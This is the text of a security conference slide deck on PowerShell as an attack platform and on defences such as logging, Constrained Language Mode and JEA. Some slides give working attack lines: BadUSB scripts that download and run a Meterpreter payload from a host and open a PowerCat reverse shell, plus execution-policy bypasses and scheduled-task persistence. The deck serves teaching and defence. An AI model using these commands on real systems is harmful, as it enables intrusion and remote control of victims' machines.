PowerShell is now a ‘mandatory-to-use’ tool for IT professionals in order to automate administration of the Windows OS and applications, including Azure and Nano Server. Unfortunately, threat actors have recently taken advantage of this powerful scripting language just because PowerShell it’s already installed on your Windows machines, trusted by Admins and most AntiVirus tools! The session presents the steps that should get you starting on (Ethical) Hacking and Pen Testing with PowerShell and some new techniques like JEA (Just Enough Administration) that a defender can use in order to limit the effectiveness of PowerShell attacks.

1. The Dark Side of PowerShell
George Dobrea

2. George Dobrea
xEduco
gdobrea@xeduco.net | @gdobrea
Microsoft Certified Trainer (since 1998)
MVP – Enterprise Security (since 2005)
EC-Council Instructor of the Year (2016)

3. My Last trips:
 Bucharest (home)
 Tokyo
 Phnom Penh / Cambodia
 Washington DC
 New Delhi
 Dubai
 London
 Brussels
 Vilnius, Tallinn, Riga
 Finland
 Peru
 Germany
 Toronto
 Cape Town
Teaching / Consulting / Speaking / Volunteering
Or Just Travelling for Fun…

4. My First Public Speech about PowerShell Vulnerabilities in a
MS conference…

5. > Get-content
 PowerShell as an attack platform
 PowerShell malware
 Pen Testing tools based on PowerShell
 PowerShell security, and bypassing that security
 Defence strategies
 PowerShell v5 new security features

6. PowerShell
 Shell and scripting language present by
default on all Windows machines.
 … Now open sourced and available on Linux
 Designed to automate things and make life
easier for system admin.
 Based on .Net framework and is tightly
integrated with Windows.
 Access to the Win32 and Native API
 Easy to learn and to write scripts  !

7. Tesla PowerShell Module

8. Current Landscape of PowerShell Threats
 38 % of security incidents reported utilized PowerShell in some
form or another
 68 % of system breaches having some PowerShell involvement.
 31 % of all reported incidents involving PowerShell drummed up
no security alerts before the threat was discovered.
Carbon Black - United Threat Research Report 2016
“If PowerShell is a hammer, everything is a nail”

9. Why using
PowerShell
for attacks?

10. … Why Not?
Powershell is an ideal platform for attackers
 Installed by DEFAULT on Windows Systems
 Provides access to almost everything in a Windows platform which
could be useful for an attacker
o Registry, file system, active directory, networking, services, processes, WMI,
COM, Hyper-V
 Run code in memory without touching disk
 WinRM is enabled by DEFAULT on Windows Server
 Trusted by countermeasures (AntiVirus) and SysAdmins
 A wealth of attack / pen testing tools already exist:
o Shellcode injectors, DLL injectors, keyloggers, port-scanners, reverse/bind
shells, botnets, hash dumping utilities

11. PowerShell attack code can be invoked by:
 Microsoft Office Macro (VBA)
 WMI
 HTA Script (HTML Application – control panel extensions)
 CHM (compiled HTML help)
 Java JAR file
 Other script type (VBS/WSH/BAT/CMD)
 Typically an Encoded Command
Encoded commands obfuscate attack code and can even be compressed to avoid
the Windows console character limitation (8191)
Powershell.exe –WindowStyle Hidden –noprofile –EncodedCommand <BASE64ENCODED>

12. Great, but how do I execute it on a victim machine ?
 Code execution gained from an existing exploit
 Via a website command injection vulnerability
 Physical access – USB HID device
 Stolen / captured credentials. With credentials, remote code execution
can be gained with:
 WMI
 WSMAN
 RDP, PowerShell Web Access ( yes, you can run PS from your smartphone ), etc…

13. New Malicious Attacks using PowerShell…

14. Real world PowerShell Malware
 PowerWorm:
 Infect’s Word and Excel documents, initial infection via macro in
.doc/.xls
 PoshKoder/PoshCoder:
 PowerWorm crossed with CryptoLocker
 Bitcoin ransom
 DNSChanger
 Trojan.DNSChanger circumvents Powershell restrictions

15. Valuable Resource for Pen Testers : PoshInternals
https://github.com/adamdriscoll/PoshInternals

16. Valuable Resource for Pen Testers : PowerSploit
https://github.com/mattifestation/PowerSploit

17. Valuable Resource for Pen Testers : PowerShellEmpire
http://www.PowerShellEmpire.com
Modules:
 Code Execution
 Collection
 Credentials
 Exfiltration
 Exploitation
 Lateral Movement
 Management
 Persistence
 Privilege Escalation
 Recon
 Situational Awareness
 Fun & Trollsploit
Capabilities:
 PowerShell based Remote Access
Trojan (RAT).
 Python server component (Kali
Linux).
 AES Encrypted C2 channel.
 Dumps and tracks credentials in
database.
Use: Integrated modules providing
Initial Exploitation, Recon,
Credential Theft & Reuse, as well as
Persistence.

18. Valuable Resource for Pen Testers : Nishang
https://github.com/samratashok/nishang

19. Kali Linux – Social Engineering Toolkit (SET)
Kali Linux: More than 600
penetration testing tools included
- Some of them using PowerShell
attack techniques
The SET has become a
standard in the arsenal of
the penetration tester

20. Demo
USB + PowerShell =

21. BadUSB RubberDucky Attack ( example #1)

22. BadUSB RubberDucky Attack ( example #2)
 Create a PowerShell Meterpreter reverse TCP payload and place it
somewhere on your Kali Linux Web Server
 This bypasses most AV, HIPS, IDS and Firewalls and leaves no evidence on
the system
DELAY 750
GUI r
DELAY 750
STRING cmd
DELAY 200
ENTER
DELAY 200
STRING powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.132/powershell.ps1')
DELAY 200
ENTER

23. Administrative privileges required
Not persistent – limited to the current session
Limitations of PowerShell Attacks

24. Post Exploitation Attack Style
… Or better use PowerCat instead - this a PowerShell version of net cat 

25. DELAY 500
CAPSLOCK
GUI R
DELAY 500
STRING POWERSHELL.EXE -EX UNRESTRICTED -C "IMPORT-MODULE
('{0}:POWERCAT.PS1' -F (GET-VOLUME -FILESYSTEMLABEL
DUCKY).DRIVELETTER); POWERCAT -C 192.168.56.101 -P
443 -EP" -WINDOWSTYLE HIDDEN
ENTER
Example: RubberDucky & Powercat Reverse Shell

26.  Basic methods (easy to implement, also to detect and remove)
 Registry Settings
 Scheduled tasks
 Advanced Persistent Mechanism:
 Permanent WMI
What if I want to persist my payloads
PS> schtasks /Create /SC ONIDLE /I 1 `
/TN Updater /TR “powershell.exe `
-Command Write-Host ‘Doing evil stuff…’“

27. Windows PowerShell Remoting and WinRM
 PowerShell Remoting is based upon WinRM, Microsoft’s WS-
Management implementation
 Supports execution in 3 ways:
 Remote enabled commands
 Remotely executed script blocks
 Remote sessions
 Security Model = Trusted Devices + User Credentials
 WinRM is required for the Windows Server Manager
 WinRM is enabled by DEFAULT on Windows 2012(R2) Server
 WinRM is allowed through Windows Firewall on all network profiles!
 PowerShell/Win32-OpenSSH - work in progress !

28. PowerShell Remoting Kerberos Double Hop
Solved Securely
$ServerB = Get-ADComputer -Identity ServerB
$ServerC = Get-ADComputer -Identity ServerC
Set-ADComputer -Identity $ServerC -PrincipalsAllowedToDelegateToAccount $ServerB
 No PowerShell code modification.
 No more SPNs for constrained delegation!
 Credentials are not stored on ServerB.
 Multiple domains and forests supported across trusts.
https://blogs.technet.microsoft.com/ashleymcglone/2016/08/30/powershell-remoting-kerberos-double-hop-solved-securely/
Resource-Based Kerberos Constrained Delegation is the solution !

29. PowerShell ‘Legacy’ Security Features
 Administrative rights
 UAC
 Code Signing
 Local or Remote source using zone.identifier alternate data
stream
 PowerShell Execution Policy

30. Bypassing Execution Policy ( Easy !!!)
The PowerShell Execution Policy is not a security boundary
 Simply ask PowerShell: powershell.exe –executionpolicy unrestricted
 Switch the files zone.idenfier back to local: unblock-file yourscript.ps1
 Read the script in and then execute it (may fail depending on script)
 Encode the script and use –encodedcommand – always works!!
 Get/Steal a certificate, sign script, run script
C:> powershell.exe –executionpolicy bypass –windowstyle hidden
–noninteractive –nologo –file “c:exploit.ps1”

31. Operational Security / Dealing with Forensics
 Change WinRM settings / Block WinRM ?
 Application whitelisting - AppLocker Policies
 Enabling Constrained Language Mode
 Log PowerShell Activity
 Detecting attacks on mitigations (audit any changes to profile.ps1 or
the registry keys that control module logging)

32. PowerShell is not powershell.exe
 powershell.exe is just a host
application
 it hosts the assembly that contains
PowerShell and handles I/O
System.Management.Automation.dll
 Blocking PowerShell.exe does not
stop PowerShell attacks!

33. PowerShell v5 ♥ the Blue Team !
 Over-the-shoulder transcription
 Deep script block logging
 Antimalware Scan Interface Integration
 Cryptographic Message Syntax (CMS) encryption and decryption
cmdlets
 Secure code generation APIs
 Applocker + Constrained Language Mode
 Protected Event Logging
 Preventing unrestricted admin access (JEA)

34. PowerShell Logging
PS > Get-EventLog – LogName “Windows PowerShell” - InstanceId 800 |`
Where Message –match Add-Type | Select –First 10 | Format-List
 Module Logging
 Script Block Logging *
 System-wide transcripts *
*Enabled by KB3000850 on Windows Server
2012 R2/ Windows 8.1 or WMF 5.0
 Microsoft-Windows-PowerShell/Operational events:
 4103 –Module logging
 4104/4105/4106 –Script block logging

35. Limiting PowerShell Attack Capability with
Constrained Language Mode
 removing advanced feature support such as .Net & Windows API
calls and COM access
 The lack of this advanced functionality stops most PowerShell
attack tools
 Drawback: an environment variable must be set, either by running
a command in PowerShell or via Group Policy
 Pairing PowerShell v5 with AppLocker :
 PowerShell v5 detects when Applocker Allow mode is in effect and sets the
PowerShell language to Constrained Mode for interactive input and user-
authored scripts, severely limiting the attack surface on the system
[Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘)

36. Just In Time, Just Enough Administration (JitJea)
 based on Windows PowerShell constrained runspaces
 allowing specific users to perform administrative tasks on servers
without giving them administrator rights
 auditing all actions that these users performed
Before JEA 
PS C:> Copy-Item C:SecureFilesFile.txt
C:DeploymentFile.txt
PS C:> Get-Content C:DeploymentFile.txt
Information I should not see
Using JEA 
PS C:> Copy-Item C:SecureFilesFile.txt
C:DeploymentFile.txt
PS C:> Get-Content C:DeploymentFile.txt
This command is not available

37. PS> Enter-PSSession Server1
FAIL! – Talk to your supervisor for assistance
“George I need to be admin on Server1 to restart SQL”
“No Eddie.
Just use JEA and connect to the ‘Maintenance
EndPoint”
PS> Enter-JeaSession Server1 –Name Maintenance
Server1> Restart-Service MSSQLSERVER

Server1
Server1> Steal-Secrets
Error: You are not authorized to
Steal-Secrets

38. Time to set PowerShell policies in your organization…
Sample here:
 Change ExecutionPolicy to only allow signed scripts to run.
 Require all PowerShell scripts to be run from a specific location or path.
 Discourage (or require exception for) the use of encoded parameters on the
command line.
 Discourage (or block) PowerShell scripts from downloading content from the
Internet (or specify a “whitelist” of allowed IP addresses only).
 Discourage (or block) the use of PowerShell to invoke commands on remote
systems.
 Require a custom parameter to be passed on all “legitimate” PowerShell
usage.
 Restrict PowerShell to specific users in your organization.
 Require PowerShell to be launched from a specific process.

39. Useful Resources
 PowerShell Galery
• https://www.powershellgallery.com/
 Hey, Scripting Guy! Blog
• http://blogs.technet.com/b/heyscriptingguy/
 Just Enough Administration (JEA)
• https://msdn.microsoft.com/en-us/powershell/jea/using-jea
 Practical Persistence with PowerShell
• http://www.exploit-monday.com/2013/04/PersistenceWithPowerShell.html>
 PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection
 https://adsecurity.org/?p=2921
 PowerShell Version 5 Security Enhancements
• https://adsecurity.org/?p=2277
 Blogs of PowerShell gurus:
• Jeffrey Snower, Matt Graeber, Adam Driscoll, Sean Metcalf, Will Schroeder

40. Thank you !
Questions?
George Dobrea
XEduco.net | @gdobrea